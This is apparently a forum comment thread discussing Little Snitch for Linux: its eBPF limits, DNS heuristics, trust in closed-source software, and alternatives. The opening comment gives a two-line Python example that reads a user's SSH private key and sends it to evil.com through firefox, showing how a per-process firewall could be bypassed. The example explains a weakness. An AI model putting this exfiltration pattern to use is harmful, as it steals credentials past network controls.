Say I run a script `suspicious.py' and I deny this script from making any network requests. I also have firefox which is allowed to make any HTTPS requests. If suspicious.py does something like:
key = (Path.home() / '.ssh' / 'id_rsa').read_text()
subprocess.Popen(['firefox', f'https://evil.com/upload/{key}'])
Also: If an interpreter is run via `#!/bin/interpreter` in the script binary, it makes the rule for the script file path, not the interpreter. This does not work when running the script as `interpreter script`, though.
The more granular one gets the more likely they aren't really meaning to ask how to do it in the firewall layer though. E.g. if we take it further to wanting to prevent python -c "specific logic" it's clearer what you can do in the firewall is not necessarily the same as what's practical or useful.
I wonder if the decision of Little Snitch to make the Linux version free forever was also informed by this "no way to make money selling tools on Linux" wisdom or if there was another motivation. It seems that if any tool has chances of making decent money on Linux, a product like Little Snitch, which is already well established, with working payment infrastructure would be a good candidate.
I'm as a linux user very reluctant to install anything proprietary that has such sensitive info as my network traffic and would rather use opensnitch or any other foss fork.
The same time I don't mind to pay for open-source, I donate several thousands USD per year to FOSS projects. But I guess I'm in a minority here and if you make the whole stack open-source you're not going to make many sells really.
I definitely don't think it's even the likely outcome, but for Linux to get serious traction this is how it has to start: power users but not the traditional developer crowd start actually moving, and in doing so produce the guides, experience, word of mouth, and motivation that normal people need to do so, alongside the institutional support from Valve to actually fix the bugs and issues.
It remains to be seen if a critical mass will find it usable long-term, but if it were to happen, this is how it would look at the start, and Microsoft are certainly doing their best to push people away right now, although I suspect the real winner is more likely to be Apple with the Macbook Neo sucking up more of the lower end.
According to a blog post by Eric S. Raymond in September 2020, Microsoft is literally moving towards replacing Windows' internals with Linux. Unfortunately, that post is now unreachable, but searching for "eric raymond article about windows being replaced with a linux kernel" finds many third-party references to it and summaries of it.
For whom? Average desktop users? Average users don't know what LittleSnitch is, let alone calling it "popular software."
> Error: the BPF_PROG_LOAD syscall returned Argument list too long (os error 7).
> littlesnitch.service: Consumed 3min 38.832s CPU time, 13.7G memory peak.
I have now installed Fedora in a VM (ARM64 architecture, though) and it does load, but cannot identify processes. I'm investigating this now.
The other issue seems to be with eBPF compatibility. That's a moving target and I'll investigate next. But resources are limited, I'll need some time to dig into this.
And the second most upvoted comment is someone seriously asking if 2026 if the year of Linux desktop...
Come on, this is an absurd comment. Linux has its issues, this is not a serious example of what is keeping normal people from using Linux as a desktop OS. Normal people are not installing the first release of a privacy networking tool that requires you to OK connections.
Only on Linux you get weird bug, compilation issues, etc.
After all, you have windows, macos and then you have Linux : debian, Ubuntu, fedora, arch, opensuse. That's almost like 5 different os just for Linux.
Sure you can use flatpack and force people to download 2gb installation for something that requires 20mb on windows and macos. That excludes all of the people who don't have fiber internet.
At this point I'm convinced that those developing Linux don't want it to be an os for casuals and prefer to stay in their small, niche community. That's fine by me but it makes claim of Linux desktop year laughable, which I was referring to.
[1] "Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here." -- from https://obdev.at/products/littlesnitch-linux/index.html
And regarding failed reverse DNS names: Little Snitch is sniffing DNS lookups. If lookups are encrypted, there is little it can do. We usually recommend DNS encryption at the systemd layer, not at app layer. This way we can see lookups on 127.0.0.53 and the actual lookup sent out is still encrypted.
Also, it's currently only sniffing UDP lookups, not TCP. The eBPF part is already very close to the complexity limits (700k instructions of allowed 1M) and adding TCP parsing would exceed this limit. It should be possible to forbid TCP port 53 with a rule, though. Some complex DNS lookups will fail, but routine things should still work.
Where LittleSnitch is definitely ahead is showing process connections over time after said process has been allowed.
As software should be.
I think it's fair to ask that a developer choosing to build a thing that requires that kind of access should be expected to err on the side of transparency.
https://github.com/evilsocket/opensnitch?tab=readme-ov-file#...
If users consider this software important they should donate so they can keep using it.
Shameless plug: for anyone who wants something fully open source and terminal-based, I maintain RustNet (https://github.com/domcyrus/rustnet). It's a bit different because it's a TUI for real-time connection monitoring with deep packet inspection, not a firewall. No blocking/rules, but it's cross-platform (Linux/macOS/Windows), the entire codebase is open, and it sandboxes itself after init via Landlock with capability dropping.
Recently I was wondering how you really have to trust something like little snitch given its a full kernel extension effectively able to MITM your whole network stack.
So I went digging (and asked some agents to deep research), and I couldn't find much interesting about the company or its leadership at all.
All a long way to say, anyone know anything about this company?
But the trust issue is still real, the daemon has to run as root because it needs to watch for new mounts and keep a table of file system roots up-to-date, even after loading all the eBPF programs. As a root process, it can technically do whatever it wants. Unless you limit it with a kind of mandatory access control (SELinux or similar).
This is the very first release and we will probably come up with a more restricted permission requirement in the future. For the moment, I try to catch up with bug reports. There seems to be more diversity in the Linux landscape than I had expected.
Yes, they are indie Mac developers who have been in business for more than 20 years, and Little Snitch for Mac is beloved by many users for a long time.
What is that supposed to mean in this context?
Said motivation could be a nation state handing them $XXX million dollars
I think the type of users it attracts (techies, crypto ppl, etc) makes it worth more too.
Ben Surtees (Bartender’s original developer) burned all the good will accumulated over years in one moment. Never again can anyone trust software under that name.
There were no targets involved. There were no nation-states involved. There were no attacks involved. You might not like the new developer, but this whole discussion of a nation-state and 9 figure payoff is totally ridiculous.
No, this by itself doesn't make Little Snitch or any business worth $50M. You're dreaming. That's a crazy valuation.
If you know of someone specific you want to target who uses it, the investment could pay off.
For example, we know from your blog posts that you use LittleSnitch. Someone who wanted to target you might do a lot to spy on you by buying LittleSnitch, probably.
Think of your own apps, too. I don’t think you’d do the same that Ben Surtees did and sell everything in secret, but then again I don’t personally know you. You may have a price that I’m not aware of. For that reason alone, even as I trust the current code is not nefarious, I can never give StopTheMadness access to every website and can only use it selectively, which is inconvenient.
As I said in another comment, Bartender had no target! It was not an attack. An app was sold by one developer to another developer. End of story.
> If you know of someone specific you want to target who uses it
But you don't. And you don't in the case of Little Snitch either.
You can dream up a bunch of absurd hypothetical scenarios, but they are not the reality.
> Someone who wanted to target you
Nobody wants to target me. Nobody cares about me. I am insignificant.
Not the point. The point is that it shows it can happen. You’re a browser extension developer, surely you know how often it happens that developers of popular extensions are approached by shady businesses and sometimes do even sell.
> You can dream up a bunch of absurd hypothetical scenarios, but they are not the reality.
As someone else has pointed out to you, not hypothetical.
https://news.ycombinator.com/item?id=47699068
> Nobody wants to target me. Nobody cares about me. I am insignificant.
You give yourself too little credit. I know of several developers and other people with influence who use your extensions with complete trust. Compromising you means compromising them, which means compromising even more people. Jia Tan has aptly demonstrated you don’t need to directly attack your final target, only a link in the chain, even if it looks insignificant.
Little Snitch is not a working exploit for iPhone or Android.
> I think that they would be fine with paying 50M for a userbase that has a high population of devs, admins, etc. Being able to backdoor someone like this in the right organization down the line is probably worth 50M.
No, sorry, you're delusional. A ton of products have a high population of devs, admins, etc. These are not getting acquired by intelligence agencies. Give me one example. There's nothing inherently valuable about this population.
Who is a Little Snitch customer worth 50M to attack? Name them.
You're missing the most important part of the motivation here: why in the world would a nation-state give a damn about Little Snitch, especially to the tune of $XXX million dollars?
A nation-state could pay $XXX million to your significant other to spy on you. But again, a nation-state doesn't give a damn about you.
Per user hacked, it can be very cheap¹ compared to bribing anyone. And give data/access that SO can't get.
State is not interested in you until it does. Being Jewish, Polish, Gypsy, Gay. Or just WrongThinking. Or maybe it becomes super cheap and easy to process all information?
1: it can even be free. You either give us backdoor to all your users or you rot in jail. Here's a complementary beating up or pictures of your kids, to argument our position further.
It is already a thing, at least in UK and AU [1]:
> Both countries now claim the right to secretly compel tech companies and individual technologists, including network administrators, sysadmins, and open source developers – to re-engineer software and hardware under their control, so that it can be used to spy on their users. Engineers can be penalized for refusing to comply with fines and prison; in Australia, even counseling a technologist to oppose these orders is a crime.
[1] https://www.eff.org/deeplinks/2018/12/new-fight-online-priva...
> little snitch given its a full kernel extension
On macOS, don't think Little Snitch needs kernel exclaves / extensions. Apple provides userspace ("Network Extension") APIs (however limited) for apps like Little Snitch to use (instead of pf).
> effectively able to MITM your whole network stack
"MITM" means something else, anywho... if network observability (not firewall) is the primary need, cross-platform (GUI) sniffers like Sniffnet exist: https://github.com/GyulyVGC/sniffnet
I thought it would be easier to do DPI on Linux than macOS. No???
I've been a GlassWire user for years, which partially fills the role of LS, but not very well. Aside from the many performance issues I've seen, it's missing a lot of LS essentials. To be fair, I think the focus of GlassWire is more about visualizing traffic on your Windows computer, but I definitely believe there is a need for better Windows network software for power users.
Anything new to get much better performance from low-spec machines that is idiot-proof is a game-changer.
https://news.ycombinator.com/item?id=35363343
> Little Snitch for Linux is not a security tool.
Maybe not?
> Its focus is privacy:
Or maybe yes?
The Linux version is limited in complexity. It has to decide immediately. This has the consequence that no packet leaves the machine if the connection is denied, but on the other hand it means that it's easier to trick. The macOS version can inspect the first packet sent (deep packet inspection) to find the remote host name in TLS headers. The Linux version relies on heuristics: The most recent lookup seen which returned the IP address determines the name. This part is Open Source and you can inspect the algorithm.
Hopefully Apple makes the necessary frameworks available on iOS in general. Not only for supervised devices.
They are still restricting iCloud Private Relay to Safari for the most part. iOS is really wanting for privacy improvements to close the gap between marketing and reality.
Fun fact: iOS lets developers spy on when you _dismiss_ notifications:
https://developer.apple.com/documentation/usernotifications/...
Ever instantly angry-swipe-to-clear a DM notification soon as it hits your lockscreen from someone who upset you? Zuck knew y'all had beef.
Clear notifications before bed and in the morning? All those companies could know a bit more about your routine than you would've otherwise revealed if weren't in the habit of using those apps at those times.
--
The kinds of tiny things that would be pretty inconsequential on their own but that you figure maybe the Apple tax would help you avoid.
(edited with additions)
[0] https://help.comodo.com/uploads/Comodo%20Internet%20Security...
If anyone from obdev is reading, please give us a way to pay for it, even if it stays free :), I'd love to support development and would happily pay something between the price of Little Snitch and Little Snitch Mini.
Anyway, thanks a lot!
https://obdev.at/blog/little-snitch-for-linux/
The core issue is simple and uncomfortable: through automatic updates, a vendor can run any code, with any privileges, on your machine, at any time.
-----
If the author is serious about this, then they should make their own program completely open source, and make builds bit-for-bit reproducible.
For all I know, the proprietary Little Snitch daemon, or even the binaries they're distributing for the open source components, contain backdoors that can be remotely activated to run any code, with any privileges, on your machine, at any time.
I think it's still better to make it public and only partially Open Source so that some people can benefit from it. If you don't trust us, that's completely reasonable, just don't install it.
Did not know about LittleSnitch, will definitely check it out.
Congrats to Objective Development for expanding their well-loved tool to a new platform. You guys rock.
Why does LittleSnitch (Mac) pre-resolve IP addresses, before user presses Accept/Deny?
IMHO DNS queries shouldn't initiate without user input.
Version 6 added DNS encryption and in principle we could filter lookups (similar to PiHole) at this level. That brings other issues, though: This filter is system-wide, so process-specific rules (and overrides) would not work. And results can be cached by mDNSResponder. So when a blocklist causes an issue, you may not be able to fix it by simply disabling the blocklist. But it's still something we consider.
I would love to fix this requirement, but have not found a way yet.
I know everyone today is used to upgrading every 5 seconds, but some of us are stuck on old software. For example, my Linux machine keeps rebooting and sucks up power in suspend mode because of buggy drivers in 6.12+, so I'm stuck on 6.8. (which is extra annoying because I bought this laptop for its Linux hardware support...)
Isn't MacOS just *nix under the hood? Genuinely curious about this difference.
The systems LittleSnitch uses to do packet inspection are very much OS-specific. There's no generic standard for doing high-performance packet inspection. XNU and Linux are *very* different kernels. Linus Torvalds built Linux from scratch as a monolithic kernel because he wanted a Unix-like OS that wasn't encumbered. XNU is based on the Mach microkernel though XNU is a hybrid or monolithic kernel, not a microkernel. The point is, they have very different heritage and very different systems for... well pretty much everything. So "just *nix under the hood" is kind of true but also completely besides the point as far as packet inspection goes. And even then, while there are a lot of similarities between the core system tools of Linux and macOS, they're still quite different and unless you're limiting yourself to POSIX-standard interfaces (which are only a fraction of the system), you're not going to be able to use the same code on both systems.
Is there a userland component that's using something like iptables? (Can iptables block traffic originating from/destined to a specific process nowadays?)
Worth noting that it is closed source. Would be worth contributing patches to OpenSnitch to bring it up to parity with Little Snitch.
Why?
What would be the right tool to harden in a similar way to little snitch on mac? Meaning intercepting any connection and whitelisting them reliably.
Anyway, this one looks great. I hope Linux distros will incorporate this or similar into the network widgets.
> You can find Little Snitch for Linux here. It is free, and it will stay that way.
Don't worry, the authors know that there's no point in charging Linux users. Unlike Mac users.
So you might as well make it $0 and the (Linux) crowd goes wild that they don't need to pay a cent.
However...
> I researched a bit, found OpenSnitch, several command line tools, and various security systems built for servers. None of these gave me what I wanted: see which process is making which connections, and in the best case deny with a single click.
OpenSnitch is open source. You don't need to trust it as you can see the code yourself. Little Snitch on the other hand, is completely closed source.
Do you still trust them not to do self-reporting or phoning home, even though it is $0 and closed source?
If you trust Little Snitch on Mac, then yes.
They've been in business for over 20 years. They're not going to blow their entire business and reputation for a few Linux users.
I do wonder however, are they sufficiently careful about their processes and own machines to avoid a supply chain attack completely.
They must be a target for the various hacking groups out there.
A supply chain attack doesn't directly attack an end developer but rather a supplier of the developer. So who or what is the supplier in this case?
An attack on any of these things has nothing specifically to do with the developers of Little Snitch and would have vastly more widespread and important effects.
Why would you even be talking about Little Snitch if a compiler were compromised?!? Your paranoia here is bizarrely narrow. Little Snitch would be the least of our problems in that case.
The comment was asking about preventing a compromised supplier for the developers.
A supply chain attack can be anywhere in the supply chain to the target. If I, the end user, am the target, then a supply chain attack compromising the developer of LittleSnitch is effective.
I may then be a conduit to compromising other software or components, and would both I and LittleSnitch would be part of the supply chain that could be attacked targeting them.
You're not a target, anonymous rando.
No, not really. And I disagree with the premise, "They must be a target for the various hacking groups out there."
How would you even hack them? I'm a developer too; how would you hack me?
I'm not even going to respond to this ridiculousness.
I still don't know why anyone thinks that, among all developers in the world, a little indie Mac developer is getting targeted specifically.
"Little Snitch for Linux is built for privacy, not security, and that distinction matters. The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name. And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably. That's not an option here."
Is this a limitation of the eBPF implementation? Pardon my ignorance, I'm genuinely curious about this.
pi.hole is primarily billed as an ad blocker, but the fundamental way it works is by applying a curated set of DNS lists that are blocked (commonly telemetry and ad servers), and the admin dashboard which is just a web page (therefore works on all platforms, smartphones included) will do the same thing: it tells you every call that every app on every device on your network is making, and you can approve or deny it. You can curate your own list as well and block servers/connections you don't want on the network.
LS afaik operates in the same area where it's intended to be used for privacy. I guess I could see it being useful for people who don't have admin access to their router, but for people who do have such access I would think the benefits of network-wide DNS monitoring/blocking would outweight the costs of having to configure your router settings.
I would guess that to the extent the blocklists include things that are loaded by applications and not websites, they are almost entirely built by users of something like LittleSnitch or OpenSnitch. This is also entirely doable with wireshark logs, but I think that requires more infrastructure to build into usable lists.
Some telemetry might not be recognized by pi-hole as it is new or has nothing to do with ads.
> The macOS version can make stronger guarantees because it can have more complexity. On Linux, the foundation is eBPF, which is powerful but bounded: it has strict limits on storage size and program complexity. Under heavy traffic, cache tables can overflow, which makes it impossible to reliably tie every network packet to a process or a DNS name.
> And reconstructing which hostname was originally looked up for a given IP address requires heuristics rather than certainty. The macOS version uses deep packet inspection to do this more reliably.
> That's not an option here.
>
> Source: https://web.archive.org/web/20260409002901/https://obdev.at/products/littlesnitch-linux/index.html
Have you ever checked Calico or Cilium, or at least, Oryx?
[0]: https://en.wikipedia.org/wiki/ZoneAlarm
[1]: https://d2nwkt1g6n1fev.cloudfront.net/helpmax/wp-content/upl...
I've just found it and uploaded it to github. Looking at the code, I can see my horrible C style of the time. There's probably bugs galore.
https://github.com/JetSetIlly/Direwall
If I remember correctly, it runs as a commodity and patches the socket library. Interestingly, the socket library was not re-entrant (unusual for Amiga libraries) so I had to patch the Exec OpenLibrary() function to monitor the loading of new copies of the socket library. But it's been a long time so memories are hazy.
It'll be interesting to see if it is still compiles and runs for modern AmigaOS, if any active Amiga programmers are around to see.
There was simply no need for it. GNU provided most of the software, spyware was unknown.
Only since comercial vendors package for linux and bring their spyware along, the desire to inspect network rose.
- GNOME Shell (extension updates without a way to disable this, weather),
- GNOME Calculator (currency exchange rates),
- NetworkManager (periodic hotspot portal checks in most configurations),
- GDB (debuginfod enabled by default),
- Firefox (extension updates, push notifications, feature flags, telemetry, ..., some parts cannot be disabled),
- VSCodium (Open VSX callbacks even when installing extensions from disk with updates disabled, JSON schema auto-downloads, extensions making their own unsolicited requests, ...),
- Electron (dictionary updates from Google servers, no way of disabling; includes any application running on top of upstream Electron, such as Signal, Discord, etc.),
- GoldenDict (audio samples fetched from the Internet on word look-up, no way to disable)
Of course, this is nothing compared to Windows [0] and macOS [1], but the malpractice of making Internet connections without asking, by default, has unfortunately been finding its way everywhere since modems stopped making audible sounds.
Having read about PRISM and seen the leaked dashboards of Paragon Graphite (said to be used by ICE), and with LLMs bridging the gap between mass and targeted surveillance, I don't want any of this.
[0] https://github.com/microsoft/calculator/blob/ffd0519676019a0...
[1] https://www.sentinelone.com/blog/what-happened-to-my-mac-app...
Which would crash (technically hang) if you blocked it. [0]
[0] https://forums.debian.net/viewtopic.php?p=818264
Quote from LittleSnitch:
> Little Snitch for Linux is built for privacy, not security
What's your definion of malware in this context?
Note that LibreWolf still leaves some of the stuff on for you to manually disable (dom.push.connection.enabled, extension updates).
[0] https://support.mozilla.org/en-US/kb/how-stop-firefox-making...
It mostly worked exactly as you would want a desktop firewall to, and integrated nicely with Cisco VPN tech, so you could ensure Integrity was operating correctly before fully opening up the tunnel for access to corporate assets.
https://archive.org/details/BlackICE_Defender
Simpler times.
A simpler time lol.
Used to use Outpost Firewall Pro, too.
Shooting yourself in the foot really helps to built intuition!
It can be manually configured with very detailed policies, but you have to know where to go to find those controls.
It's been a while since I used ZoneAlarm or Little Snitch, but the last time I used either one the default behavior was instead that any connection attempt or attempt to listen for which there was not a policy would result in a dialog showing all the details about what application is looking to connect to or receive connections from what as well as a variety of options for creating a policy or even not creating a policy and just deciding whether that one connection would be allowed.
Also back when I used ZoneAlarm I had dialup so the taskbar addon they had which showed realtime bandwidth usage and what applications had active connections was really useful. It also had a big red "Stop" button that would immediately disable all connections, which thinking about it in retrospect really makes me miss the more innocent days of the internet.
Don't open it.
@dang